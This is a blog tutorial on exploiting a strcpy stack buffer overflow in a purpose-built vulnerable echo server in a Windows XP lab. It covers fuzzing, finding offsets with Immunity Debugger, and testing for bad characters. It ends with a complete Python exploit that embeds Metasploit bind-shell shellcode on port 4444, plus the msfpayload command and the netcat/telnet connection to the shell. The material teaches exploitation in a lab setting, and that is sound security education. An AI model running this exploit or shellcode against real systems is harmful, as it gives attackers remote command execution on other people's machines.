BOF-02 (Basic)

Original post: https://itandsecuritystuffs.wordpress.com/2014/03/26/understanding-buffer-overflow-attacks-part-2/

On the first part of this post there was a bunch of theory needed to understand how a buffer overflow is created and how exploit it, if you didn’t read the first part, please do it before read this post following this link. On this post we are going to do an example of this attack, using an Echo Server that i created in C that uses the strcpy function that is known to have this vulnerability, to exploit it we are going to use some scripts created in python and Immunity debugger.

Requirements

You are going to need a windows xp (Service Pack 3) virtual machine (you could use any windows really), you could use Virtualbox to create it, on the virtual machine should be installed the following software:

Be sure to install python on your PATH (Environmental Variables) also other programs as gcc, and python scripts like easy_install and pip.

Vulnerable Echo Server

Below you will find the code for a very simple Echo Server that will listen on the port 10000 for a connection, once a client is connected, everything typed on the client will be echoed by the server, this is a very quick and simple code without error management, multithreading etc… so it will permit only the connection of one client at the time.

A vulnerable server .exe you can get here: https://github.com/enderphan94/BOFTraining/blob/master/vulserver.exe

A word or two about strcpy and the vulnerable function

The function strcpy is a C function found on the string.h library the declaration of the function is as following:

char *strcpy(char *dest, const char *src)

It copies the string pointed by src to dest, so the dest variable is a string array where the content is to be copied (buffer) and the src variable is the string to be copied, in C when a string array is declared it is needed to specify the length so the buffer is finite and preset by the programmer, if the programmer does not do any kind of boundary check on src and its length is greater than dest it will cause a buffer overflow.

On the Echo Server the function vulnerable_function was created with the following code:

int vulnerable_function(char *input)

{

char buffer[128];

strcpy(buffer,input);

return 1;

}

You could see in that code that a buffer of 128 bytes is created but input as you could see on the receiving loop in the main function could be of 1024 bytes:

valread = recv(new_socket, buffer, 1024, 0);

So this program is prone to a buffer overflow attack, obviously on an compiled application you do not have access to the code that is why we are going to create a little script to fuzz the echo server and to see when it crash.

Compiling Echo_Server.c

The first thing we are going to do once the Windows XP is ready and all the application installed is to compile with MinGw the Echo Server, so create a text file and copy the the C code found above, save it as echo_server.c. Once saved, open a command line interface and go to the same directory where echo_server.c is saved and compile it with the following command:

gcc echo_server.c -o echo_server.exe -lws2_32

Fuzzing the Echo Server

To begin the process of exploiting the buffer overflow of the Echo Server we need to fuzzing it to see if it crash, to do it we created a script in python that generates a string of unique patterns and send it to the server, we could try different sizes of the string to send. The script code is: https://github.com/enderphan94/BOFTraining/blob/master/toAttack.py

Save this script as fuzz.py in another machine that could reach the echo server. Lets explain a little bit how the script works, first of all the script creates a socket and connect to the ip address and port specified as arguments when the script is called, then it request the number of bytes to send, if the echo server respond then the response is shown, if the server does not respond a message is printed after 2 seconds saying that maybe the server crashed. Now we are gonna try different values of bytes to send, to do that run echo_server.exe on the Windows XP machine and run the python script using:

python fuzz.py [ip_address_echo_server] 10000

Sending 50 bytes:

python fuzz.py IP_ADDRESS 10000

How many bytes do you want to send (End with 0): 50

Data returned: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab

Sending 100 bytes:

How many bytes do you want to send (End with 0): 100

Data returned: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Sending 150 bytes:

How many bytes do you want to send (End with 0): 150 ################################################################################# There is no response from the server maybe crashed with a string length of 150 #################################################################################

In the Windows XP Machine you will see the typical error when a program crash, if you see the technical information of the error report you will see the different values of the registers, and other information about the executable and dlls that use, etc…

So, now we know that the program crash under some circumstances, lets analyse the crash in the next section.

Analyzing the Crash

In this section we are going to analyse the crash to see why it crashed and to see if the crash could be exploited, but before to do that we are going to introduce Immunity Debugger.

Immunity Debugger

Immunity Debugger join the best of two worlds, it is a powerful debugger like IDA Pro and OllyDbg and has a powerful python API that allows you to create scripts in python to automate certain tasks, one downsize of Immunity is the documentation there are not easy tutorials to follow, but you could find a good documentation about the library installed locally on the machine where is installed Immunity Debugger, you will find it on the same folder where Immunity Debugger was installed in a directory called “Documentation\Ref” open the Index.html and you will find all the documentation of the library.

When you open Immunity debugger you will see the following screen:

If you do not see this screen go to Windows and select CPU then maximise the window inside Immunity, on this screen you could see four panes, each of these panes show specific information, the pane on the top left will show all the disassembled code, the pane on the top right will show all the register information, the bottom left will show the memory used by the application , and in the last pane (bottom right) it will show the Stack, when you open an application or attach to a process in Immunity these panes will fill up with information.

Lets talk about the scripting capabilities of Immunity, you can create different types of scripts, this types are divided in:

  • PyCommands: This are python scripts that use the Immunity Library called from inside the debugger

  • PyHooks: This are Hooks that could be used like standalone scripts or inside PyCommands, this hooks permits to process code each time that there is one of the 13 events (hooks) predefined on Immunity

  • PyPlugins: used to create Plugins for Immunity Debugger

Immunity also have an interactive python shell that loads automatically a debugger instance called imm in the shell, to open the interactive shell select the second button from the left in the status bar (the button next to the folder icon), here you could type directly python commands and will be interpreted like in any python shell.

PyCommands in Immunity

There are some rules that you have to follow to write PyCommands, the first one is that the structure of the script should be like the one below:

import immlib

#Description of the code

DESC = “Description of the Pyhton Script using IMMLIB”

def main(args):

#Instantiate a debugger object

imm = immlib.Debugger()

#Your Code Here

#This will be write on the status bar at the bottom of Immunity

return “[+] Success!!!”

The second rule is that the script should be saved on the PyCommands folder inside the directory where is installed Immunity debugger, for example: “C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands”. The last rule is that to call a script you could do it through two methods described below:

  1. On the Immunity debugger window at the bottom there is an Input field, to call a script you should call it by the same name you used to save the file inside the PyCommands folder, but preceded by an exclamation point (!), for example if your script is called test.py inside the PyCommands folder then you could call it writing !test on the input field. You could pass arguments just like any python script

  2. You could use the third button from the left on the toolbar at the bottom of the window, the second one after the folder icon, you will be presented with all the PyCommands available, just select one and run it

Obviously this is only a scratch about how to use Immunity there are some resources that maybe you want to check if you are interested in this topic:

Starting to write Immunity Debugger PyCommands: my cheat sheet PyCommands Tutorial

The book: “Gray Hat Python: Python Programming for Hackers and reverse Engineers by Justin Seitz” that could be found here.

Analyzing the crash with Immunity Debugger

Returning to the analysis of the crash, we are going to use Immunity Debugger to see what happens when a string of 150 bytes is send. The first step is to open Immunity Debugger, and open the Echo Server inside, to do that use the menu File and select Open, then select the echo_server.exe, you will see a screen like the one shown below:

You could see on the bottom right of the screen that there is a yell field that says “Paused”,that means that the program just opened but is not running, to run it press the play button on the toolbar at the top of the window, the bottom field should change to “Running”, now the Echo server is running and waiting for connections, run the fuzzer script and send 150 bytes, return to the Immunity Debugger and you will see a screen like this:

Note that the disassembled code is gone, now go to the stack pane and with a right click select “Address” —> “Relative to ESP”, on the stack on the addresses before ESP you will see the string sent by the fuzzer, if you analyse the ESP-04 you will find that is the same that the register EIP on the top right pane, that means that the EIP was overwritten by the string sent.

Why there is a part of the string after ESP?

As we see on the part one when a function is called a new stack is created, and that’s what is happening here, a new stack is created, the parameters addresses are filled and the string begin to be copied to the stack beginning in the ESP Address like you could see on the figure:

So the logical question to ask is, how it is possible to have part of the string after the ESP like you could see from a the screenshot of Immunity?

The response is related to the Assembly Code, because once the new stack is created and the function did all what it had to, the stack is “destroyed”, it is not erased but as you know the stack is a LIFO structure so when you loose the ESP then you could not access the stack, knowing this there is a command in Assembly called LEAVE, that what it basically do is to reset the ESP value to EBP, and is used to destroy the stack created once a function is finished. As you could see in the first figure of this section the string fill the address space until at one time EBP is going to be overwritten, once overwritten and LEAVE is executed then the new ESP is EBP that is why part of the string sent is present after the ESP. You could see a graphical representation below:

At this point it is important to us to identify the patterns saved in EIP and ESP, with this pattern we could calculate the position (offset) on the string where we need to put our new values, on EIP as we said we need to put the address of ESP or an address to a instruction that will make a jump to ESP, and after ESP we need to put our malicious code called payload, you could see this on the figure below:

The new string that we are going to construct to exploit the buffer overflow will be:

Now we need to find the offsets, to do that we are going to create a PyCommand script.

PyCommand Script to analyse the crash

I created a script that should be executed after the crash in immunity, this script will print on the Log Window the content of the EIP and ESP Registers and will find the offset of both strings, it will also create a new table that present all the commands “jmp esp” find in the executable binary.

https://github.com/enderphan94/BOFTraining/blob/master/findOff.py

Save the code to a file called analyze_crash.py inside the PyCommand folder, reset the echo_server.exe in Immunity or open Immunity and load and run the echo_server.exe, at this point you should be waiting for new connections in the Echo Server, run the fuzz.py script and send 150 bytes to the server, the Immunity debugger should pause because the exception, at this point at the input field found at the bottom of the Immunity type !analyze_crash, you will see that the script creates a new table and print something in the Log Window as you could see on the figures below:

As you could see on the Log Window the script printed the value of the EIP and ESP Registers and calculated the offset that are 140 and 144 respectively, on the table you could see the address position of the code “jmp esp” in the different modules loaded by echo_server.exe

Exploiting the buffer overflow found

This is the last section of this post here, we are going to create a simple script to send the payload, but before to send the final payload we are going to try to determine if there are some bad characters that we can’t use, I am not going to explain the shellcode that we are going to send and the encode to avoid bad characters for this you could find a lot of shellcodes on the internet, you could create your own shellcode or you could use metasploit to create the payload and the encode (this is how it was done for this post)

The script used to send the payload is very simple as you could see below:

#!/usr/bin/env python #Import Libraries import socket import sys

#Create Socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((sys.argv[1],int(sys.argv[2])))

offset_eip = int(sys.argv[3]) string = ‘A’*offset_eip

#Insert here the esp address or the address of the jmp esp code in reverse order for example to send 0x31323334 use \x34\x33\x32\x31 string += ‘\x34\x33\x32\x31’

#NOOP Instuction to glue the EIP and the shellcode string += ‘\x90’*10

#Insert here the shellcode string += “shellcode”

#Send the string s.send(string)

#Close connection s.close()

Determine the bad characters

As we said, the first thing that we are going to do instead to send the payload with the last script created is to find the bad characters, to do this you should need to modify the last script a little bit, the changes that you have to make are:

  • Comment the line: string += ‘\x34\x33\x32\x31’

  • Comment the line: string += ‘\x90’*10

  • Comment the line: string += ‘shellcode’

  • Add the following code below the line: string = ‘A’*offset_eip

string +=(“\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F” “\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F” “\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F” “\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x3E\x3F” “\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F” “\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x5B\x5C\x5D\x5E\x5F” “\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F” “\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x7B\x7C\x7D\x7E\x7F” “\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F” “\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F” “\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF” “\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF” “\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF” “\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF” “\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF” “\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF”)

What we did is creating a string formed by a number of “A” (whose binary is \x41) specified in the arguments of the script followed by a string formed by binary from 0x00 to 0xFF, save the script as send_payload.py, reset the Immunity Debugger or Open it, load and run echo_server.exe. Execute the send_payload.py by using the command:

python send_payload.py IP_ADDRESS 10000 150

Replace IP_ADDRESS by the ip address of you windows XP machine where is running the Echo Server, with this command we are going to send 150 ‘A’’s followed by the string formed by the binary 0x00 to 0xFF, obviously the Echo Server will crash and we are going to analyze the string processed.

Go to the Immunity Debugger and select with the right button the ESP Register and select “Follow in Dump”, with this we jumping to the ESP Address on the Memory Pane, scroll up and you will see a lot of A’s in the Ascii part and in the Hex dump you will see a lot of 0x41, if all the string was processed you will see a string like this: “41 41 41 41 41 41 … 41 41 41 00 01 02 03 04 05 … FC FD FE FF”, as you could see on the figure not all the string was processed and “00 01 02…” is missing, so we could assume that 0x00 is a bad character.

Now we delete from the string to send on the send_payload.py script the binary \x00 and repeat the whole process again. Now we could see that all the string was processed.

That tell us that the only bad character is 0x00 and we could not use it. Now if you remember our ESP address is 0x0022FD30 that contains a 0x00 character that is why we create the table with all the “jmp esp” we need to choose one address that has not the 0x00 character, so the process will be like the figure below:

Payload to send

As I said earlier I am not going to explain the payload to send in depth, it is enough to say that I use metasploit to generate the code, I use a single stage payload called shell_bind_tcp that by default begin a server that pipe a shell using the port 4444, I also encoded the payload in x86 and using as bad characters ‘\x00’ the output was:

“\xd9\xf7\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x56\xbe\x51\xa8” “\xaa\xd9\x31\x72\x18\x03\x72\x18\x83\xc2\x55\x4a\x5f\x25” “\xbd\x03\xa0\xd6\x3d\x74\x28\x33\x0c\xa6\x4e\x37\x3c\x76” “\x04\x15\xcc\xfd\x48\x8e\x47\x73\x45\xa1\xe0\x3e\xb3\x8c” “\xf1\x8e\x7b\x42\x31\x90\x07\x99\x65\x72\x39\x52\x78\x73” “\x7e\x8f\x72\x21\xd7\xdb\x20\xd6\x5c\x99\xf8\xd7\xb2\x95” “\x40\xa0\xb7\x6a\x34\x1a\xb9\xba\xe4\x11\xf1\x22\x8f\x7e” “\x22\x52\x5c\x9d\x1e\x1d\xe9\x56\xd4\x9c\x3b\xa7\x15\xaf” “\x03\x64\x28\x1f\x8e\x74\x6c\x98\x70\x03\x86\xda\x0d\x14” “\x5d\xa0\xc9\x91\x40\x02\x9a\x02\xa1\xb2\x4f\xd4\x22\xb8” “\x24\x92\x6d\xdd\xbb\x77\x06\xd9\x30\x76\xc9\x6b\x02\x5d” “\xcd\x30\xd1\xfc\x54\x9d\xb4\x01\x86\x79\x69\xa4\xcc\x68” “\x7e\xde\x8e\xe4\xb3\xed\x30\xf5\xdb\x66\x42\xc7\x44\xdd” “\xcc\x6b\x0d\xfb\x0b\x8b\x24\xbb\x84\x72\xc6\xbc\x8d\xb0” “\x92\xec\xa5\x11\x9a\x66\x36\x9d\x4f\x28\x66\x31\x3f\x89” “\xd6\xf1\xef\x61\x3d\xfe\xd0\x92\x3e\xd4\x67\x95\xf0\x0c” “\x24\x72\xf1\xb2\xdb\xde\x7c\x54\xb1\xce\x28\xce\x2d\x2d” “\x0f\xc7\xca\x4e\x65\x7b\x43\xd9\x31\x95\x53\xe6\xc1\xb3” “\xf0\x4b\x69\x54\x82\x87\xae\x45\x95\x8d\x86\x0c\xae\x46” “\x5c\x61\x7d\xf6\x61\xa8\x15\x9b\xf0\x37\xe5\xd2\xe8\xef” “\xb2\xb3\xdf\xf9\x56\x2e\x79\x50\x44\xb3\x1f\x9b\xcc\x68” “\xdc\x22\xcd\xfd\x58\x01\xdd\x3b\x60\x0d\x89\x93\x37\xdb” “\x67\x52\xee\xad\xd1\x0c\x5d\x64\xb5\xc9\xad\xb7\xc3\xd5” “\xfb\x41\x2b\x67\x52\x14\x54\x48\x32\x90\x2d\xb4\xa2\x5f” “\xe4\x7c\xd2\x15\xa4\xd5\x7b\xf0\x3d\x64\xe6\x03\xe8\xab” “\x1f\x80\x18\x54\xe4\x98\x69\x51\xa0\x1e\x82\x2b\xb9\xca” “\xa4\x98\xba\xde”

The command used to generate the code in a Kali linux Machine was:

msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b “\x00”

We replace the EIP address with one of the addresses that the pycommand print on the table that do not contain the bad character 0x00, and instead of “shell code” we copy the payload shown above, the final script to use is:

#!/usr/bin/env python #Import Libraries import socket import sys

#Create Socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((sys.argv[1],int(sys.argv[2])))

offset_eip = int(sys.argv[3]) string = ‘A’*offset_eip

#Insert here the esp address or the address of the jmp esp code in reverse order for example to send 0x31323334 use \x34\x33\x32\x31 string += ‘\xd8\xfc\x91\x7c’

#NOOP Instuction to glue the EIP and the shellcode string += ‘\x90’*10

#Insert here the shellcode string += (“\xd9\xf7\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x56\xbe\x51\xa8” “\xaa\xd9\x31\x72\x18\x03\x72\x18\x83\xc2\x55\x4a\x5f\x25” “\xbd\x03\xa0\xd6\x3d\x74\x28\x33\x0c\xa6\x4e\x37\x3c\x76” “\x04\x15\xcc\xfd\x48\x8e\x47\x73\x45\xa1\xe0\x3e\xb3\x8c” “\xf1\x8e\x7b\x42\x31\x90\x07\x99\x65\x72\x39\x52\x78\x73” “\x7e\x8f\x72\x21\xd7\xdb\x20\xd6\x5c\x99\xf8\xd7\xb2\x95” “\x40\xa0\xb7\x6a\x34\x1a\xb9\xba\xe4\x11\xf1\x22\x8f\x7e” “\x22\x52\x5c\x9d\x1e\x1d\xe9\x56\xd4\x9c\x3b\xa7\x15\xaf” “\x03\x64\x28\x1f\x8e\x74\x6c\x98\x70\x03\x86\xda\x0d\x14” “\x5d\xa0\xc9\x91\x40\x02\x9a\x02\xa1\xb2\x4f\xd4\x22\xb8” “\x24\x92\x6d\xdd\xbb\x77\x06\xd9\x30\x76\xc9\x6b\x02\x5d” “\xcd\x30\xd1\xfc\x54\x9d\xb4\x01\x86\x79\x69\xa4\xcc\x68” “\x7e\xde\x8e\xe4\xb3\xed\x30\xf5\xdb\x66\x42\xc7\x44\xdd” “\xcc\x6b\x0d\xfb\x0b\x8b\x24\xbb\x84\x72\xc6\xbc\x8d\xb0” “\x92\xec\xa5\x11\x9a\x66\x36\x9d\x4f\x28\x66\x31\x3f\x89” “\xd6\xf1\xef\x61\x3d\xfe\xd0\x92\x3e\xd4\x67\x95\xf0\x0c” “\x24\x72\xf1\xb2\xdb\xde\x7c\x54\xb1\xce\x28\xce\x2d\x2d” “\x0f\xc7\xca\x4e\x65\x7b\x43\xd9\x31\x95\x53\xe6\xc1\xb3” “\xf0\x4b\x69\x54\x82\x87\xae\x45\x95\x8d\x86\x0c\xae\x46” “\x5c\x61\x7d\xf6\x61\xa8\x15\x9b\xf0\x37\xe5\xd2\xe8\xef” “\xb2\xb3\xdf\xf9\x56\x2e\x79\x50\x44\xb3\x1f\x9b\xcc\x68” “\xdc\x22\xcd\xfd\x58\x01\xdd\x3b\x60\x0d\x89\x93\x37\xdb” “\x67\x52\xee\xad\xd1\x0c\x5d\x64\xb5\xc9\xad\xb7\xc3\xd5” “\xfb\x41\x2b\x67\x52\x14\x54\x48\x32\x90\x2d\xb4\xa2\x5f” “\xe4\x7c\xd2\x15\xa4\xd5\x7b\xf0\x3d\x64\xe6\x03\xe8\xab” “\x1f\x80\x18\x54\xe4\x98\x69\x51\xa0\x1e\x82\x2b\xb9\xca” “\xa4\x98\xba\xde”)

#Send the string s.send(string)

#Close connection s.close()

Save it as send_payload, execute echo_server.exe without the debugger and run the script send_payload with the following command:

python send_payload.py IP_ADDRESS 10000 140

We use 140 as the first offset because that was the analyse_crash pycommand in Immunity gave us, the script will run and exit. On the Windows XP machine the echo_server should be up and running, note that we send a string greater than 150 bytes but echo_server.exe did not crash, because we override the exception and exploited the buffer overflow. To prove that the payload was loaded try to connect to the ip address of the windows XP machine using the port 4444, use the command:

telnet IP_ADDRESS 4444 (or you could use net cat if installed with “nc IP_Address 4444”)

You should be presented with the Windows XP command line like on the figure below:

If you get the shell the the Exploitation was successful, meaning that you have control of the Windows XP machine. If you need help with Metasploit there are a very good videos in this site. I hope that you enjoyed this post as much as I did writing it, if you need any help please drop me some lines using the forms in the about page.

Note that the scripts and codes loose all the format when copied in the blog so you will need to reformat it when copied to a text editor.

Last updated